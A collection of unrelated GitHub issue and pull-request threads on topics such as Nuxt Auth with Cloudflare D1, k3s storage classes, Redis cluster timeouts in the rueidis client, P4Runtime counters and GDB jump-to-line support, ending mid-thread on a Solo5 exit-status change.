Add autocompletion support

A first implementation is in #1.

Befor emerging this, I need to get https://github.com/scijava/scijava-common/pull/264 merged and release as artifact first.

I just rebased this to master to adapt to the new polyglot kernel. Travis fails because it cannot find scijava-common 2.62.2-SNAPSHOT.


Cloudflare D1 Adapter support

Describe the feature
Cloudflare exposes bindings via the event.context.cloudflare.env.
Aside: event.context.cloudflare.env is only available when making a request, not when directly invoking the server function code. See Issue 137
I'm using the Drizzle Adapter, but this would be the same for the D1 adapter.
I need to access the event inside my auth options, so that I can pass the database through to the adapter, like so:
const D1DB: D1Database = event.context.cloudflare.env.DB
const DB: DrizzleD1Database = drizzle(D1DB)
authOptions.adapter = DrizzleAdapter(DB)

The current NuxtAuthHandler() doesn't pass event to AuthOptions as it expects the options as a parameter instead. I can't predefine options as I need access to the event from the handler within the NuxtAuthHandler() function.
I'm not sure what the best solution would be to solve this, but I've re-written auth/[...].ts so that I can pass the event through to my options. It's a bit of a pain as the utils aren't exported directly by this package, so I just had to copy and paste them.
// auth/[...].ts

import { Auth } from '@auth/core'
import type { RuntimeConfig } from 'nuxt/schema'
import { H3Event, getRequestHeaders, getRequestURL, readRawBody } from 'h3'
import { useAuthOptions } from '../../lib/auth'

function checkOrigin (request: Request, runtimeConfig: RuntimeConfig) {
  if (process.env.NODE_ENV === 'development') { return }
  if (request.method !== 'POST') { return }
  const requestOrigin = request.headers.get('Origin')
  const serverOrigin = runtimeConfig.public?.authJs?.baseUrl
  if (serverOrigin !== requestOrigin) { throw new Error('CSRF protected') }
}
async function getRequestFromEvent (event: H3Event) {
  const url = new URL(getRequestURL(event))
  const method = event.method
  const body = method === 'POST' ? await readRawBody(event) : undefined
  return new Request(url, { headers: getRequestHeaders(event) as HeadersInit, method, body })
}

export default defineEventHandler(async (event) => {
  const runtimeConfig = useRuntimeConfig()

  const authOptions = useAuthOptions(event)

  const request = await getRequestFromEvent(event)

  if (request.url.includes('.js.map')) {
    return
  }

  checkOrigin(request, runtimeConfig)

  const response = await Auth(request, authOptions)

  return response
})

// lib/auth.ts
import type { D1Database } from '@cloudflare/workers-types'
import type { AuthConfig } from '@auth/core/types'
import { DrizzleAdapter } from '@auth/drizzle-adapter'
import { drizzle, DrizzleD1Database } from 'drizzle-orm/d1'
import { H3Event } from 'h3'
import { skipCSRFCheck } from '@auth/core'

export function useAuthOptions (event: H3Event) {
  const runtimeConfig = useRuntimeConfig()

  const authOptions: AuthConfig = {
    secret: runtimeConfig.authJs.secret,
    providers: ...,
    trustHost: true,
    skipCSRFCheck
  }

  const D1DB: D1Database = event.context.cloudflare.env.DB
  const DB: DrizzleD1Database = drizzle(D1DB)
  authOptions.adapter = DrizzleAdapter(DB)

  return authOptions
}

Additional information

[X] Would you be willing to help implement this feature?

Great work !
Would happily accept a PR to expose the internals so that's easier to implement this on your own.
However I think we should eventually make the API more flexible to enable the ability to augment the options. Maybe the options could accept a function that returns a custom AuthConfig, with the event as an argument.


Custom policies to discard bytes read from CommandHandler#buffer #1314 - 5.3.x

Closing as duplicate of #1346. We typically handle backports as part of the merge unless indicated otherwise.


Strange values EMA (?)

Hello, I was in the testing phase and I cannot understand why I got this strange values.
Basically what I needed was a percentage volume oscillator on 30-60 period.
So I started coding it and that's something curious since I can't find a way to get Tradingview values on my script.
Values from tradingView-Binance BTC/Usdt are just okay (volume also)
I have highlighted just few things of the last hystorical candle on the graph to compare on the next image.
Except RSI (almost same value) I got some really strange values for this PVO

I requested the last 66 hystorical (just to be sure and print some more result to check besides the last one) 15 min candles back and printed out the last 3.
It doesn't fetch the last candle (still open) on the graph obviously.

And this is the code for the pvo:

What could be the problem?
Thanks!

I just tried to add some more hystorical data and it just fixed.

Hi @Phanto90 ,
Last version 0.5.25 (updated yesterday) fixes some problems related to the first values, probably it was solved. Let me know if you try again using the last version.
Also, I encourage you to add this Percentage Volumen Oscillator to the library.
Best,
Dario

Closing, because at this moment, PVO is available in the library.


"weglVersion" on (webglVersion) Reference Page should read "webglVersion"

Most appropriate sections of the p5.js website?
Reference
What is your operating system?
Windows
Web browser and version
Google Chrome: 114.0.5735.199 (Official Build) (64-bit) (cohort: Stable)
Actual Behavior
On the Reference page for webglVersion the Description reads (BOLD mine):

If the sketch was created in WebGL mode, then weglVersion will indicate which version of WebGL it is using.

Expected Behavior
On the Reference page for webglVersion the Description should read (BOLD mine):

If the sketch was created in WebGL mode, then webglVersion will indicate which version of WebGL it is using.

Steps to reproduce

Navigate to Reference page.
View spelling of word.

Would you like to work on the issue?
Please assign to web master/designer

I am willing to work on this with @snwarner22.


Add targets to build the mono-repo only for a given language

Summary
Running make at the root is long and boring. This allows to build the library only for a given language, example make javascript will build all the libraries, but only for Javascript.
Types of changes

[x] Build
[ ] Bug fix (non-breaking change which fixes an issue).
[ ] New feature (non-breaking change which adds functionality).
[ ] Breaking change (fix or feature that would cause existing functionality to not work as expected).

Checklist:

[ ] The change has been ported to Java.
[ ] The change has been ported to Ruby.
[ ] The change has been ported to JavaScript.
[ ] The change has been ported to Go.
[ ] The change has been ported to .NET.
[ ] I've added tests for my code.
[ ] My change requires a change to the documentation.
[x] I have updated the documentation accordingly.

Running make javascript fails because there is no datatable/javascript directory. I'm experimenting with a different approach.


Install Android Studio: Android Basics with Compose Typo

URL of codelab
In which task and step of the codelab can this issue be found? On the first step, labelled Before you begin.
Describe the problem
On the second paragraph, it says Android Studio is the official integrated development environment (IDE) for Android app, development built and distributed by Google, and I believe the comma at the end should be after development, like so:
Android Studio is the official integrated development environment (IDE) for Android app development, built and distributed by Google

Hi @adam662006
Thank you for noticing and bringing this issue to our attention.
The content has been corrected and republished.
Hope you are enjoying the course!
Regards.


getBoundingClientRect is expensive

The getBoundingClientRect API takes several ms as it forces the web engine to recalculate the layout (see https://gist.github.com/paulirish/5d52fb081b3570c81e3a). This is an issue for the visibility-sensor component if we apply that to thousands of elements.

This is an issue for us as well.  Anyone have an idea as to how this could be solved?  I am happy to contribute a pull request with implementation but I don't know how we can avoid this?

I can't think of a reliable way to eliminate the getBoundingClientRect entirely.
Do you think that caching the container getBoundingClientRect (across all instances) would be a good idea?  It would require We could require one setInterval for all instances so that the check is done in the same time so we can clear the cache on the next animation frame.
With this enhancement getBoundingClientRect would be called once for each visibility sensor and once per container.  This is almost halfing the calls to getBoundingClientRect (where a container is used).
Do you think this is worth trying?


add python 3.11.0b1 alpha (Unable to test)

add python 3.11.0b1 alpha version.
Unable to test right now, lmk what or if any changes are needed.

While yes I know we have done it before, I don't feel like adding a beta version of python into piston is a good idea, as it may be buggy and we are building a production-ready solution.


Resetting counters of const table entries

How do I reset the counters of a const table entry? It sounds like P4RT doesn't support this. If so, is there a reason why? Can we support it. The relevant spec quotes:
"The only write updates which are allowed for constant tables are MODIFY operations on the default action"
"we assume that constant tables cannot be assigned direct resources"

Andy & Antonin, do you remember why this is what we chose?

We had a very short discussion about it there: https://github.com/p4lang/p4-spec/issues/723
We can revisit the topic at the next WG meeting. I think the reason why we chose this is that 1) we didn't have a use case at the time (but it seems it is no longer the case since you are trying to use a direct counter with a constant table), and 2) it seemed non-trivial to define good semantics for reading / writing direct resource entries using the TableEntry message (DirectCounterEntry and DirectMeterEntry are more straightforward).
The current spec states that

The TableEntry action field must be set for every INSERT and MODIFY update, except when resetting the default entry

so when trying to reset a counter with a MODIFY update using a TableEntry message, the client would need to provide the full & correct action specification (based on the P4 table declaration).
Personally, I don't see any particular issue with supporting resetting the counters of a const table using the DirectCounterEntry. If we want to support TableEntry messages as well, it may be trickier.

This was discussed at the 08/28/2019 P4 API WG meeting (https://docs.google.com/document/d/1qzeAnKDDOIgBzq3sLS1C1CacunTtrV5x5T5xPXUFRGM/edit#heading=h.1luy7m2zeqb), and we decided to include support for this in P4Runtime v1.1.0.


Query database schema instead of Nhibernate configuration to get tenant tables list

Issue #7885

Shouldn't it use table prefix somewhere?

@sebastienros, this code will read table names from database schema, so the prefix will be included with table names like the previous implementation, also the following line will remove the prefix before run the drop command through SchemaBuilder: schemaBuilder.DropTable(schemaBuilder.RemoveDataTablePrefix(tableName));

This code reads all the tables, a database can contain tables for many tenants, partitioned with a prefix, lie Site1_ContentItemRecord, Site2_ContentItemRecord, ...
Then it removes as many chars as the prefix has, so it can even create wrong table names, and if you are deleting a tenant without prefix, it will delete all the tables, even if they have prefixes.

So this code only works if you have a single tenant in the db.


Upgrading k3s via system-upgrade-controller causes local-path storage class to be marked as default

Environmental Info:
K3s Version: 1.19.5+k3s2 to 1.20.0+k3s2

k3s version v1.20.0+k3s2 (2ea6b163)
go version go1.15.5

Node(s) CPU architecture, OS, and Version:

japsu@qb1:~$ uname -a
Linux qb1 5.4.0-1031-azure #32-Ubuntu SMP Tue Oct 6 09:47:33 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
japsu@qb1:~$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 20.04.1 LTS
Release:        20.04
Codename:       focal

Cluster Configuration: Distributed etcd, 3 servers, 1 non-server node (4 nodes in total)

Describe the bug:
I have Longhorn installed in my cluster. Longhorn makes its longhorn storage class the default storage class by default. To make this work, I have kubectl edited the k3s-provided local-path storage class to have storageclass.kubernetes.io/is-default-class: "false" instead of  storageclass.kubernetes.io/is-default-class: "true".
However, when I upgrade K3s using the Rancher System Upgrade Controller, local-path resets to being default. This causes the cluster to have two default storage classes, causing in turn PVC allocations that try to use the default storage class to fail with "the cluster has multiple default storage classes".
Steps To Reproduce:

Install K3s 1.19.5+k3s2
Install another storage class, eg. longhorn, and mark it as default
kubectl edit storageclass local-path to make it non-default
Upgrade to K3s 1.20.0+k3s2 using Rancher System Upgrade Controller

Expected behavior:

longhorn is still the default storage class and local-path is not
Actual behavior:

Both longhorn and local-path are default, causing PVC allocations using default storage class to fail
Additional context / logs:

Yes, the local-storage manifest sets the local-path storage class as default. This is required so that PVCs work out-of-the-box on K3s. If you're using an external CSI provider like longhorn, you probably don't need local-storage and should disable it by adding --disable=local-storage to the K3s server flags.

Yes, the local-storage manifest sets the local-path storage class as default. This is required so that PVCs work out-of-the-box on K3s. If you're using an external CSI provider like longhorn, you probably don't need local-storage and should disable it by adding --disable=local-storage to the K3s server flags.

I'm running into a similar issue.  I would like to keep local-path but use longhorn as my default.  Is using --disable=local-storage then applying a custom local storage manifest without the is-default-class flag the easiest way to go there?
Is that something I can do for an existing cluster or would I need to recreate the cluster?

Yes, you can copy the local-storage manifest to another file with a unique name, modify that, and then disable the default local-storage component.


[CT-160] Create/use pyproject.toml

Is there an existing feature request for this?

[X] I have searched the existing issues

Describe the Feature
Given that:

We should move to using PEP-518 compliant build tool specification
People might like to use Poetry while developing dbt
SetupTools is .... not great.

We should consider utilizing a pyproject.toml file to enable all of those.
Describe alternatives you've considered
There aren't any that I've discovered
Who will this benefit?
Devs across the board
Are you interested in contributing this feature?
No response
Anything else?
No response

@lostmygithubaccount Agree - we should still do this! In dbt-core and our adapter repos, too

Let's get an estimation for this work for just dbt-core to start

Skipped pointing on 9/22/22 BLG-- Spike needed to determine:

Will this break docker builds for cloud?
Are we doing things in setup.py that can't be done with pyproject.toml?

Spike still needed.  BLG 9/12/22

Closing as duplicate of https://github.com/dbt-labs/dbt-core/issues/5696


cv::ColorMap only supports source images of type CV_8UC1 or CV_8UC3

I  encountered the following error:
Traceback (most recent call last):
File "inverse_trigger_match.py", line 627, in evaluate_trojai
show_cam(model, [target_layer], poisonX, target_label)
File "inverse_trigger_match.py", line 451, in show_cam
cam_image = show_cam_on_image(batch_data, grayscale_cam)
File "/home/yan390/miniconda3/envs/py3.6/lib/python3.6/site-packages/pytorch_grad_cam/utils/image.py", line 47, in show_cam_on_image
heatmap = cv2.applyColorMap((255 * mask).astype(np.uint8), colormap)
cv2.error: OpenCV(4.6.0) /io/opencv/modules/imgproc/src/colormap.cpp:736: error: (-5:Bad argument) cv::ColorMap only supports source images of type CV_8UC1 or CV_8UC3 in function 'operator()'
I searched online (https://stackoverflow.com/questions/59873709/saving-16-bit-image-in-opencv-with-cmap-cvcolormap-only-supports-source-image) and it should be good since the library already changed the mask type as np.uint8. However,  the error still exists. I also tried other opencv versions, e.g., <IP_ADDRESS> and found the error as well. That is so weird.

What is the format of batch_data here ?
show_cam_on_image expects a single numpy image as an input.

Hi,
We need to permute the dimensions of the mask as the shape of mask is (1,28,28). Make it into (28,28,1)

I encountered the following error:
Traceback (most recent call last): File "inverse_trigger_match.py", line 627, in evaluate_trojai show_cam(model, [target_layer], poisonX, target_label) File "inverse_trigger_match.py", line 451, in show_cam cam_image = show_cam_on_image(batch_data, grayscale_cam) File "/home/yan390/miniconda3/envs/py3.6/lib/python3.6/site-packages/pytorch_grad_cam/utils/image.py", line 47, in show_cam_on_image heatmap = cv2.applyColorMap((255 * mask).astype(np.uint8), colormap) cv2.error: OpenCV(4.6.0) /io/opencv/modules/imgproc/src/colormap.cpp:736: error: (-5:Bad argument) cv::ColorMap only supports source images of type CV_8UC1 or CV_8UC3 in function 'operator()'
I searched online (https://stackoverflow.com/questions/59873709/saving-16-bit-image-in-opencv-with-cmap-cvcolormap-only-supports-source-image) and it should be good since the library already changed the mask type as np.uint8. However, the error still exists. I also tried other opencv versions, e.g., <IP_ADDRESS> and found the error as well. That is so weird.

We need to permute the dimensions of the mask as the shape of mask is (1,28,28). Make it into (28,28,1)


Update JOSM to version 9963

Thank you for the contribution. It was merged directly as<PHONE_NUMBER>954d34716e73693bdbec66b72bbc03 to keep commit history cleaner. Your contribution is still credited to you.


fix(ui): revamp teams page added supported subscription webhooks

Describe your changes:
Fixes #12533

Revamp teams page
supported subscription webhook.

Type of change:

[ ] Bug fix
[x] Improvement
[x] New feature
[ ] Breaking change (fix or feature that would cause existing functionality to not work as expected)
[ ] Documentation

Checklist:

[x] I have read the CONTRIBUTING document.
[ ] My PR title is Fixes <issue-number>: <short explanation>
[ ] I have commented on my code, particularly in hard-to-understand areas.
[ ] For JSON Schema changes: I updated the migration scripts or explained why it is not needed.

@chirag-madlani @Ashish8689 can we allow users to minimize the panel above for teams and user profiles. Helps them to view more of the teams/assets and users/feeds etc..

also on the team profile links about slack,

We should allow users to configure only one type of Slack/MsTeams/GChat. Not sure there is a usecase to have multiple of these cc @mohityadav766
These are incoming web hooks right, this is potentially secret information. Except for team members or team owners we shouldn't be showing this information


implement Jump to Line

fixes microsoft/vscode-cpptools#1025

Done.

We are looking into splitting GoToTargets and the GoTo Request.

We are looking into splitting GoToTargets and the GoTo Request.

Squashed and updated.
I also added a test commit using set $pc =  instead of the jump command (see https://sourceware.org/gdb/current/onlinedocs/gdb/Jumping.html).
Maybe this could be a way out of the temporary breakpoint problems discussed previously.

Squashed and updated.
I also added a test commit using set $pc =  instead of the jump command (see https://sourceware.org/gdb/current/onlinedocs/gdb/Jumping.html).
Maybe this could be a way out of the temporary breakpoint problems discussed previously.

If I may ask, what is the state of this pull request? Is there additional things to discuss?
I'm really excited to see this ready for vscode-cppdbg!

See all the comments after my last commit.

Eclipse GDB debugger has two commands around -exec-jump: Move to Line, and Resume at Line.
In the Move to Line, it does insert a breakpoint and then jumps:
480,319 100-break-insert -t -p 1 -f /projects/test/test.cpp:160
480,326 100^done,bkpt={number="7",type="breakpoint",disp="del",enabled="y",addr="0x0004fb78",func="main(int, char**)",file="../src/test.cpp",fullname="/projects/test/test.cpp",line="160",thread-groups=["i1"],thread="1",thread="1",times="0",original-location="/projects/test/test.cpp:160"}
480,326 (gdb)
480,327 101-exec-jump --thread 1 /projects/test/test.cpp:160
480,333 101^running
480,333 *running,thread-id="all"
480,333 (gdb)
480,345 =breakpoint-modified,bkpt={number="7",type="breakpoint",disp="del",enabled="y",addr="0x0004fb78",func="main(int, char**)",file="../src/test.cpp",fullname="/projects/test/test.cpp",line="160",thread-groups=["i1"],thread="1",thread="1",times="1",original-location="/projects/test/test.cpp:160"}
480,365 ~"\nTemporary breakpoint "
480,366 ~"7, main (argc=1, argv=0xbefffd94) at ../src/test.cpp:160\n"
480,367 ~"160\t\tTest();\n"
480,367 *stopped,reason="breakpoint-hit",disp="del",bkptno="7",frame={addr="0x0004fb78",func="main",args=[{name="argc",value="1"},{name="argv",value="0xbefffd94"}],file="../src/test.cpp",fullname="/projects/test/test.cpp",line="160"},thread-id="1",stopped-threads="all",core="0"
480,367 =breakpoint-deleted,id="7"

In the Resume at Line, it just does the jump:
688,000 171-exec-jump --thread 1 /projects/test/test.cpp:131
688,009 171^running
688,009 *running,thread-id="all"
688,009 (gdb)

Visual Studio Set Next Statement behavior is the same as Eclipse's Move to Line. In other words, it does not continue the program execution.

480,327 101-exec-jump --thread 1 /projects/test/test.cpp:160
480,333 101^running
480,333 *running,thread-id="all"

That --thread parameter doesn't seem to exist:
https://sourceware.org/gdb/current/onlinedocs/gdb/GDB_002fMI-Program-Execution.html

The Context Management talks about the ‘--thread’ parameter:

each MI command should explicitly specify which thread and frame to operate on. To make it possible, each MI command accepts the ‘--thread’ and ‘--frame’ options, the value to each is GDB global identifier for thread and frame to operate on.

https://sourceware.org/gdb/current/onlinedocs/gdb/Context-management.html#Context-management

Interesting. But it doesn't make a difference here as it still runs all threads:
*running,thread-id="all"

So it could still theoretically break in another thread first.
But if Eclipse is using the same temp bp method it probably doesn't happen in practice.

Interesting. But it doesn't make a difference here as it still runs all threads:
*running,thread-id="all"

So it could still theoretically break in another thread first.
But if Eclipse is using the same temp bp method it probably doesn't happen in practice.

Interesting observation indeed. I had to turn on non-stop mode in order to behave as expected:
1: (53481) <-1151-exec-jump --thread 2 test.cpp:24
1: (53483) ->1151^running
1: (53483) ->*running,thread-id="2"

And there's also scheduler-locking mode, very convoluted.

Hello,
What is still required to merge this development?

See all the open discussions. There were some points without final resolution.


Valid EDTF Publication Date Causes Server Error

Bug Report
Description
The publication date field must be EDTF but some EDTF dates cause a server error when saving/rendering. For example, the date "2010/2020" is valid but causes error:
    error: ActionView::Template::Error: undefined method `year' for #<EDTF::Interval:0x00007fa7651a6800>

To Reproduce
Steps to reproduce the behavior:

Create a new work
Set the publication date to an interval "2010/2020"
Try to publish the work
See error

Expected behavior
Valid EDTF dates shouldn't cause a server error.

@srerickson The error is coming from our Google Scholar metatags, which specifically require a year. If it's a valid EDTF date, it'll figure something out. However, "2010/2020" is an EDTF::Interval so we have to decide what to do. Options are:

Return the year of the earliest range, i.e. 2010
Return the year of the latest ranage, i.e. 2020
Return the year of the deposit date
Return nothing

Currently, if the date isn't EDTF, it returns the deposited year. I'd probably opt for this (option 3) and anything that isn't a valid EDTF::Date just gets the published year.


Challenge - Regular Expressions: Use Capture Groups to Search and Replace - rework challenge

[x ] I have read freeCodeCamp's contribution guidelines.
[ x] My pull request has a descriptive title (not a vague title like Update index.md)
[ x] My pull request targets the master branch of freeCodeCamp.
[ x] None of my changes are plagiarized from another source without proper attribution.
[ x] All the files I changed are in the same world language (for example: only English changes, or only Chinese changes, etc.)
[ x] My changes do not use shortened URLs or affiliate links.

Closes #17645

@alanpaulprice Please revert all the changes, except the ones indicated by @ojeytonwilliams


Api key

Question
What would you like to ask?
unable to register in itech ,how can i solve it ?

Question
What would you like to ask?
unable to register in itech ,how can i solve it ?

You need to put your number plus the code of your country.
The country code is that number, which are usually 1 - 3 digits that appear
You can look up your country code from wahtsapp
In my case it is Peru +51
but you should not put the "+" only the number 51
example "51987654321"


"context deadline exceeded" occurred in Redis Cluster Mode

Use the following address in the Go code:

On the CLI, the following command output is displayed:

But in the go program I got an error: "context deadline exceeded".

The code is as follows:

Redis Cluster Info as follows:

Hi @dwzkit,
Could you share:

What is the output of CLUSTER SLOTS from your redis-cli?
What is the output of repo.db.Nodes()?
What will happen if setting ClientOption.ConnWriteTimeout to -1?
How do you make redisearch work in cluster mode? Redisearch usually does not work with redis cluster.

From your screenshot, it looks like you have a quite complex network setup mixing all the RFC1918 internal IP address spaces. Maybe we should check if all the IPs listed in the screenshot, including the k8s svc ClusterIP, are accessible by your rueidis client first.

Hi @dwzkit,
Could you share:

What is the output of CLUSTER SLOTS from your redis-cli?

redis-cluster-production:6379> CLUSTER SLOTS
0
5460
<IP_ADDRESS>
6379
43bbe72b30ae061b274e42ebc50b423f43f7cb05

<IP_ADDRESS>
6379
98fac53dadc7ab0ce9023657cc9ef55fcb7aede9

5461
10922
<IP_ADDRESS>
6379
92a3b1195ad2cb2317bb4c0ea4aa88f2f6982bc3

<IP_ADDRESS>
6379
670777b1cbd0bbc29878f7538bf36ac1ee374b18

10923
16383
<IP_ADDRESS>
6379
6b904b0916d578ee813ec2ccb9ebb1c5ca41fd23

<IP_ADDRESS>
6379
b2a059b8b834c67ee544b7caa9091cd19d8ad7db

What is the output of repo.db.Nodes()?

[root@k8s-master01 node02]# kubectl logs -f -n development good-num-api-redis-cluster-5bbc4fbc6-j8tps
server started at V5.6: 2022-10-24 03:52:23.659575
2022-10-24 03:52:23	INFO	logtool/log.go:89	[NewLogger] success
env: prod
db_phone_num.Nodes() map[<IP_ADDRESS>:6379:0xc0003360f0 <IP_ADDRESS>:6379:0xc0003360a8 <IP_ADDRESS>:6379:0xc0003360c0 <IP_ADDRESS>:6379:0xc000336120 <IP_ADDRESS>:6379:0xc000336108 <IP_ADDRESS>:6379:0xc0003360d8 redis-cluster-production.redis-cluster:6379:0xc000336138]
listening on port: :8088

What will happen if setting ClientOption.ConnWriteTimeout to -1?

There was no panic, but there was also no response:

How do you make redisearch work in cluster mode? Redisearch usually does not work with redis cluster.
Step1: Build RediSearch oss module for redis-cluster mode version
According to https://redis.io/docs/stack/search/development/, I can build a community version of the cluster mode rediSearch.so.

git clone -b v2.2.9 --recursive https://github.com/RediSearch/RediSearch.git
make setup
make build COORD=oss

module-oss.so # module-oss.so is the community version of the cluster mode rediSearch.so
Step2:Build a redis Docker include  module-oss.so(rediSearch.so) and rejson.so
FROM bitnami/redis-cluster:7.0.5-debian-11-r0
#将modules目录下的所有文件复制到镜像中
USER root
COPY modules /opt/bitnami/redis/modules
#给/opt/bitnami/redis/modules下的所有文件赋予可执行权限
RUN chmod +x /opt/bitnami/redis/modules/*.so

Step3:Using https://github.com/bitnami/charts/tree/main/bitnami/redis-cluster
loadmodule
    ################################## MODULES #####################################

    # Load modules at startup. If the server is not able to load modules
    # it will abort. It is possible to use multiple loadmodule directives.
    #
    loadmodule /opt/bitnami/redis/modules/rejson.so
    loadmodule /opt/bitnami/redis/modules/module-oss.so

Install bitnami/redis-cluster in K8s
[root@k8s-master01 redis-cluster]# helm install -n redis-cluster redis-cluster-production .

From your screenshot, it looks like you have a quite complex network setup mixing all the RFC1918 internal IP address spaces. Maybe we should check if all the IPs listed in the above screenshots, including the k8s svc ClusterIP, are accessible by your rueidis client first.

Step1:In addition to the Cluster IP of the SVC, the IP addresses of all Pod nodes are added

Step2:Just like when only the SVC Cluster domain name was added,FT.SEARCH can sometimes return the result, sometimes "context deadline exceeded" will occur.

Hi @dwzkit, I will try reproduce the problem according to your steps today.
Besides that, does the timeout also occur on GET, SET commands?

Thanks!
I executed JSON.SET 800,000 times using the rueidis client with no error
If you are planning to build a redis cluster on k8s, there are 2 more things to note based on my experience.
1、Installing bitnami/redis-cluster with helm requires configuring StorageClass

2、Modify ConfigMap Added rejson and research module

In fact, FT.SEARCH can be executed normally in the beginning using rueidis client, but for some reason "context deadline exceeded" starts to occur.

I did some new tests,I put all of the FT.SEARCH statement  which using rueidis to execut into txt file, then use redis cli command line to batch execution, all the execution succeeded.But the same FT.SEARCH command through rueidis occurs context deadline exceeded after 4-5 statements have been executed.

Hi @dwzkit,
I just followed your instructions on GKE, but I couldn't reproduce the issue. Here is how I made the image:
FROM bitnami/redis-cluster:7.0.5-debian-11-r0
COPY module-oss.so / # this is built according to your instructions
COPY rejson.so /     # this is copied from redislabs/rejson:edge image

The image is also published to dockerhub rueian/bitnami-redis-cluster-redisearch:latest
And this is how I used helm to deploy:
helm upgrade --timeout 600s --set image.repository=rueian/bitnami-redis-cluster-redisearch --set image.tag=latest --set usePassword=false myrelease my-repo/redis-cluster

Then I used kubectl edit configmap myrelease-redis-cluster-default to add loadmodule instructions and then restart all pods:

Finally, ran this script:
package main

import (
	"context"
	"fmt"
	"strconv"

	"github.com/rueian/rueidis" // v0.0.81
)

func main() {
	ctx := context.Background()
	c, err := rueidis.NewClient(rueidis.ClientOption{InitAddress: []string{"<IP_ADDRESS>:6379"}})
	if err != nil {
		panic(err)
	}
	defer c.Close()

	fmt.Println(c.Do(ctx, c.B().FtCreate().Index("idx").OnJson().Schema().FieldName("$.name").As("name").Numeric().Build()).Error())

	for i := 0; i < 100000; i++ {
		id := strconv.Itoa(i)
		if err := c.Do(ctx, c.B().JsonSet().Key(id).Path("$").Value(`{"name": `+id+`}`).Build()).Error(); err != nil {
			panic(err)
		}
	}

	for i := 0; i < 100000; i++ {
		id := strconv.Itoa(i)
		fmt.Println(c.Do(ctx, c.B().FtSearch().Index("idx").Query("@name:["+id+" "+id+"]").Build()))
	}
}

I tried many times and no timeout.

With the current information:

What will happen if setting ClientOption.ConnWriteTimeout to -1? => There was no panic, but there was also no response
I put all of the FT.SEARCH statement which using rueidis to execut into txt file, then use redis cli command line to batch execution, all the execution succeeded

I think it is likely some of your redis pods really stopped responding, since the difference between rueidis and redis-cli is rueidis will send the ft.search command to a random master every time.
Could you try using this script to see if it is always timed out on the same node?
for addr, node := range c.Nodes() {
	fmt.Println(addr)
	for i := 0; i < 10; i++ {
		fmt.Println(node.Do(ctx, node.B().FtSearch().Index("...").Query("...").Build()))
	}
}

It seems that your version of Rejson does not support Chinese,I will use your image to build another rejson that supports Chinese then test again

I compiled the latest version of rediSearch (v2.4.15 module-oss.so), So far, the test results are OK. . Obviously, the problem is not caused by rueidis. If there is a new situation, I will feedback agian. Thanks a lot!^_^


Fleet: Add Banner to Create Git Repo on local workspace

Add Banner to Create Git Repo page when on the local workspace, with the following copy:
When deploying a Git Repo to the Local workspace you are unable to target any specific Cluster or Cluster Groups
So that the user understands why the target select menu is not available when deploying a git repo to the local workspace
Example Target menu for a non-local workspace

Hi @davidnuzik . I thought this connection happened automatically... Sorry about that. Here's the PR:
https://github.com/rancher/dashboard/pull/5217

No worries @aalves08 ; thank you appreciate it


Missing plugins : org.eclipse.equinox.p2.metadata.repository org.eclipse.equinox.p2.repository

Hi,
I have a RCP project that contains these 2 jars[1] declared in the plugins section. The plugin jar files are not copied in the output/xxx/plugins folder and not registered in the config file.
The funny fact is that it works for all 153 others plugin dependencies. It only misses these 2.
[1]:  org.eclipse.equinox.p2.metadata.repository and org.eclipse.equinox.p2.repository
Thanks,
Rafael Torres

I "fixed" it by declaring the dependency again inside of my build.gradle:
dependencies {
runtime "${eclipseMavenGroup}:org.eclipse.equinox.p2.repository:+"
runtime "${eclipseMavenGroup}:org.eclipse.equinox.p2.metadata.repository:+"
}

I'll have a look at the problem.


Convert OpenSLO to Prometheus Rules

For cortex downstream clusters we want to convert OpenSLO specifications to Sloth specifications to be applied via the Cortex rule API

Done:

Refactored current main OpenSLO/oslo v1 to my current fork with the upcoming bug fixes

Waiting on them to fix upstream CI and agree to implement AlertNotif inlining

Finished translating OpenSLO format to Sloth IR, which should always produce correct downstream PrometheusRules given correct input
Unit tests for input validation

Still Working on :

Extending test environment capabilities for prometheus server
Unit/Integration testing for PrometheusRule integration

Done :

Extended test environment capabilities to validate prometheus rules
Basic test environment extension to load rules onto a prometheus binary.
Writing unit tests for all of the IR representations (OpenSLO, sloth IR) of SLO generation

Still Working on:

Writing integration tests for prometheus rule generation, which will be combined with the Service Discovery tests


Replace gif by png and remove duplicate, fix sidebar, galaxy and abandon

resolve #141

In the galaxy, the classname calculated is not correct, i work on it to fix it

In the galaxy, the classname calculated is not correct, i work on it to fix it

Ok 👍 . I just tested this branch and it looks good on my end. Makes the game more alive to see unique planet images in my sidebar. Very nice job!! I'll wait for your second commit and then I'll merge.

Ok now it looks better :)


Discover instance error:TLS requested but server does not support TLS

Scenario where the error occurred
When I first use orchestrator-client to discover my instance,I execute below command:
/usr/bin/orchestrator-client -c discover -i <IP_ADDRESS>:3306 -e 'X-Forwarded-User:xxxxxxxxxxxxx'
command executed error.
error info

TLS requested but server does not support TLS
orchestrator leader log: ERROR ReadTopologyInstance(<IP_ADDRESS>:3306) show global status like 'Uptime': TLS requested but server does not support TLS

Orchestrator and orchestrator-client version
3.2.4
Orchestrator configuration  about tls
  "MySQLTopologyUseMutualTLS": false,
  "MySQLOrchestratorUseMutualTLS": false,
  "AgentsUseMutualTLS": false,
  "UseMutualTLS": false,

MySQL version
5.6.26-log MySQL Community Server (GPL)

I'm low on cycles for TLS-related issues. Any contribution is appreciated.

According to my test, PowerAuthUsers contains uppercase letters and the error will appear.Thanks for your comment.

thanks

This might be related to #1294 (which has a PR attached)

Hi, All. I met this issue also today:
$ orchestrator-client -c discover -i <IP_ADDRESS>:13306
TLS requested but server does not support TLS

<IP_ADDRESS>:13306 is running with 10.5.11-MariaDB-1:10.5.11+maria~focal-log (Ubuntu 20.04.2 LTS), I'm assured that the DB doesn't use TLS at all.


Get the exit status of a unikernel

The idea with this proposed change is to have unikernels return an exit status. This is useful for some things. First, it improves our negative tests. With an exit code, we don't have to check for strings in the logs to know that there was a failure. Second, it will make dumping cores much easier. PR #228 could be significantly simplified if the unikernel didn't have to decide when to dump a core: it should be all done by ukvm-bin whenever the unikernel exits with a failure. Third, we want to use unikernels in the serverless world, and actions exit status are fundamental for it. Having to check if an action failed or succeeded using strings in stdout is not nice. And fourth, solo5_app_main already returns a value (which is basically ignored).
These were all the changes:

platform_exit and solo5_exit take a new arg called exit_status (0 means success).
The UKVM_HYPERCALL_HALT hypercall is now used for all halts (not just in
ARM). Replaced all ukvm uses of the halt instruction with the HALT hypercall. Even
